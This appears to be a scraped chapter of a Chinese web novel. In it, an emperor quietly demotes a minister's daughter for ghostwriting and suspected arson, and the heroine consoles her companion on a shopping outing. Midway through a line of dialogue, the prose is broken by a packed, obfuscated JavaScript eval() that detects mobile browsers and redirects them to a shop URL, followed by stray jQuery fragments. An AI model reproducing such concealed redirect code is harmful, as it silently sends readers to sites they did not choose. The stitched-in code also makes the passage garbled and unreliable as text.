60.“是啊,真好看。”

作品:《前夫哥变成落魄小伴读

    半个时辰前。


    白玉棋子落在棋盘上发出清脆声响,皇帝哈哈一笑,“这局朕又赢了,温大人几日不见,棋艺怎的退步了?”


    温良钰垂眸一笑,“陛下见笑了,依臣看,是陛下的棋艺精进了才是。”


    文珠此时走了进来,看见温良钰后迟疑了会儿。皇帝瞅她一眼,“有什么话就直说。”


    “是。”得了允许,文珠这才说道:“京都府今日升堂,太女殿下也去了。”


    皇帝听后,摇头无奈道:“瞧瞧,朕这个女儿,什么热闹都要去凑一凑。”


    这话看似是在数落自己女儿,但却是对着温良钰说的,温良钰在官场混迹多年,又怎么看不出来,忙说着好话,“陛下勤政为民,太女殿下自是以您为楷模,去京都府看府尹审案,是殿下心系百姓。”


    皇帝淡笑,没接她的话,而是漫不经心道:“审的什么案子?”


    文珠声量提了几分,“回陛下,审的是清雅居纵火案,涉事人有尹锦和……温二小姐。”


    “哦?”皇帝像是颇为疑惑,看向温良钰,“此事爱卿可知?”


    温良钰忙不迭起身下跪,“回陛下,清雅居被烧毁,小女被人污蔑是纵火真凶,实在冤枉,如今正与那贼人公堂对峙。”


    皇帝赶忙虚扶了她一把,“爱卿不必惊慌,朕也就随口一问,你忠心朝廷多年,养的两个女儿也都在朝效力,为朝廷贡献颇多,朕应当要好好谢谢你才是。”


    闻言,温良钰刚准备站起来的双腿又立马跪了下去,“臣惶恐!这本就是臣应该做的,陛下言重了。”


    皇帝抬手叫人把她扶到椅子上,又示意文珠继续,文珠语气不紧不慢,“尹锦指控温二小姐欺世盗名,虚担才女之名,证据确凿,甚至有纵火谋杀之嫌。”


    温良钰又又从椅子上软了下去,整个身子俯在地上,心中暗自揣摩皇帝意思,升堂不到一个时辰,皇帝就知道了,消息如此灵通,那纵火案发时定然也是知道的,太女随堂审案想必也是受了圣意?


    尹锦又是太女的人,刚刚皇帝又突然提及她的两个女儿,这心思是……想到什么,温良钰打了个寒颤。


    温家祖上是开国功臣,温良钰的母亲在世时风光无限,是手握重权、镇守边疆的大将军,去世后更是被追封为“护国武圣”,只是温良钰不是个打仗的料,没能继承母亲衣钵,自己养的女儿也都是温润谦和的性子,靠着世袭荫封做到如今的位置,好不容易养出个温轩仪走上科举仕途,如今却出了这档子事。


    她本来是来求援皇帝的,没成想倒亲耳在皇帝面前听到自家女儿的罪名。温轩仪代笔之事她不是不知道,虽然不耻,但也算不得什么大事,可没想到还有纵火……她的女儿从来都是温润如玉的模样,怎么会?


    事到如今,她也只好豁出去了,痛心疾首道:“陛下,是臣教女无方,小女年轻莽撞做了错事,陛下要打要罚就冲老臣来吧~只是小女品行纯良,想来是另有隐情,还请陛下念及温家满门忠烈,饶过小女!”


    她没认下温轩仪的罪行,只是一个劲儿地往自己身上揽,虽然她不成器,但祖上功德无量,皇帝再怎么样都要给她三分薄面。


    皇帝叹息一声,亲手将她扶起来,“爱卿说的什么话,轩仪嘛,朕知道,她最是上进,在京城创立好几家书院,劝学诗也写过许多,被视为学子表率,满朝文武都同朕称赞过她。”


    温良钰急得冒汗,满朝文武都称赞过,她怎么不知道?


    “只是……”皇帝话锋一转,“只是没想到她这才女之名竟是伪造的,那这书院的学子怕是会受影响,哎……这孩子,还是年轻啊。”


    她顿了顿,垂眸沉思起来。温良钰心中绕了百八十个弯,温轩仪代笔一事在皇帝面前暴露了,才女的名誉肯定是没了,不付出点什么此事恐怕不能轻易揭过去。


    皇帝又是书院,又是劝学的,温良钰多少估摸出了她的心思,书院是温轩仪费心经营的,虽前期投入大,但后期回报也大,如今纵火一案未定,若能拿银钱换小命,值了!


    温良钰躬身道:“陛下所言极是,小女浪得虚名,实在无颜再管理书院,之前她也同臣提过,打算将书院归入官府,不求回报,只求为朝廷贡献一点绵薄之力。”


    皇帝指尖捏着一颗白玉棋子转了转,随后丢入棋篓中,笑道:“她能有这样的心,朕心甚慰,只是那些受害文客该如何交代呢?”


    清雅居到底是被烧了,那些人也差点没活着走出来,心里多少都藏着怨气,温轩仪继续留在京城也无法像往日那样自在。温良钰狠心剜肉,痛下决心,请旨让温轩仪出京历练。


    “也好。”皇帝对文珠说道:“传朕口谕。”


    “忠信侯府次女温轩仪,代笔欺世,辱没斯文,剥去所有虚衔,将书院归入国有。”


    文珠立于公堂之上,停顿了会儿,又道:“然,念及祖上有功于朝,其本人亦曾为社稷效力,纵火一事证据不足,且无人伤亡,朕特旨,贬为八品县丞,发往霖城之地效力,以观后效;温家教女无方,罚俸一年,钦此——”


    温轩仪彻底泄了气,心里明白这应当是母亲为她求的最好的结果了。


    萧念十分不解地抬头,就这?


    她起身想要说什么,肩膀却被人一按,沈容瑛对她摇了摇头,示意她别冲动。皇帝已经下令,金口玉言,她现在说什么都是错,还会被人扣上一个忤逆皇权的罪名。


    只好作罢,眼里满是不甘。


    温轩仪站了起来,看着目眦欲裂的几人,冷哼一声,拍拍衣袖走了。


    只是被贬而已,过些时候,她还能再爬回来!


    叶江离恨不能将后槽牙咬碎,口直心快道:“定然是温良钰进宫说了什么。”


    “咳咳!”


    文珠还在呢,沈容瑛咳了两声提醒她。叶江离连忙噤声,心里有火发不出来,憋得难受,和沈容瑛告辞后转身离去。


    文珠上前,恭敬道:“殿下,陛下召您进宫。”


    萧念闻言,抬手和沈容瑛告辞。


    岳青亦是心中有怒火,一出门便将此事告知众人,那些文客听后皆摇头叹息,拉着她喝酒去了。


    尹锦则被沈容瑛派人送回别院。


    京都府大门处,几人分道扬镳。


    萧念带着江砚澄回书院,马车有些颠簸,她头疼地揉了揉眉心,熟悉的无力感萦绕心头。


    从柳嬷嬷到张菁,再到这次,每一次她都无力阻止。


    皇权么……呵。


    江砚澄见状,想抬手帮她揉一揉,可手伸到一半,又默默缩了回来。


    萧念难过的时候不喜欢被别人碰。


    他垂下眸,心里琢磨着安慰的话,谁知还没说出口,萧念突然抬起头来,目光炯炯,正色道:“阿砚!”


    江砚澄坐直了身体,等待着她接下来的话。萧念之前那么努力,最后却是这样的结果,定然是要狠狠吐槽一下的。


    他要好好安慰她才是!


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015577|191062||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    回去好好温书。”


    嗯……嗯?


    江砚澄讶异地睁大了眼睛,“没……没了?”


    萧念疑惑,“没了,你想我说什么?”


    江砚澄反应过来颇觉好笑,但转念一想,萧念这个没心没肺的性子,这个反应也正常。


    他笑着摇了摇头,“没什么,小姐这样挺好的。”


    萧念也笑了,转头看向车窗外。


    皇帝决定的事,她能说什么呢?既然不能彻底地把敌人踩下去,那她就只能拼命地往上爬,努力站在更高处,把自己塑造得坚不可摧,这样才能护住身后的安宁。


    失神间,一股酥饼香混合着甜腻的气息飘进马车,萧念想起来出门前答应了江砚澄要给他带好吃的。


    这下他就在身边,正好一起逛一逛。


    “停车。”


    萧念跳下车,朝江砚澄伸手,“阿砚,走,去吃好吃的。”


    她眉眼带笑,江砚澄看得一愣,望着她伸在空中的手,轻轻搭了上去。


    可谁知,萧念一握住就不肯松手了,拉着他左看右逛,不管看见什么,只要江砚澄没说不喜欢就全都买。


    跟在身后的秋露叫苦不迭,她本来只是来看热闹的,不料热闹没看成,反倒和羽衣两个人成了苦力,怀里抱的东西都快堆成山了。


    羽衣倒是习以为常,乐呵呵地看着前面两个人,不管是牵手还是接头说话,甚至随手一个揽肩,拽衣袖的动作都给她激动得瞪大了眼睛。


    羽衣:“嘿嘿……快看呐,刚分开一会儿又牵上了。”


    “……”秋露叹息一声,“小姐这么在意阿砚,日后娶了正夫,可千万别是个善妒的,不然后院可不安宁。”


    羽衣掂了掂手上的东西,回道:“依小姐的性子,没准以后就只娶阿砚一个呢。”


    “娶一个?”秋露十分惊讶羽衣会说出这种话,“怎么可能?阿砚他……公爷定然不会同意。”


    她话没说完,但羽衣也明白,不过她笑着说:“只要小姐想,她定然有法子。”


    秋露摇头,“你就惯着小姐吧。”


    萧念光顾着拉着江砚澄闲逛,完全没听到后面两人嘀咕什么,她只记得今天出门时江砚澄很不高兴,若是因为自己不高兴,得赶紧买点好吃的、好玩的哄一哄才行。


    “这个喜欢吗?”萧念拿起一个拨浪鼓在他面前摇了摇。


    江砚澄十分无奈,“小姐,我又不是小孩子了。”


    “哦。”萧念放下拨浪鼓,又拿起一个陶哨,“那这个呢~”


    她试着吹了两声,奈何实在没什么音乐天赋,只发出难听的呜呜声。江砚澄被逗得一边摇头一边笑。


    萧念:“……”


    日光斜照,霞光映红了半边天,照在江砚澄的侧脸上,勾勒出他明媚的笑容,清亮的眼中,碎金流淌。


    “好美。”萧念没由来的来了这么一句。


    江砚澄不明所以,“什么?”


    萧念拿出银钱买下陶哨,边走边吹,道:“没什么,我说风景。”


    风景?


    江砚澄扭头看向远处天边的晚霞,灼红曜日被疏密不一的云层遮挡,晕染出朦胧的粉红渐变,橙红交织其中,铺盖了半边天际,如火如荼。


    风景怡人,一时间心中的阴云也被这耀眼的光辉驱散了。江砚澄眼角荡开笑意,应和一声,“是啊,真好看。”


    陶哨声停了,萧念转过身来看他,也附和了一句,“是啊,真好看。”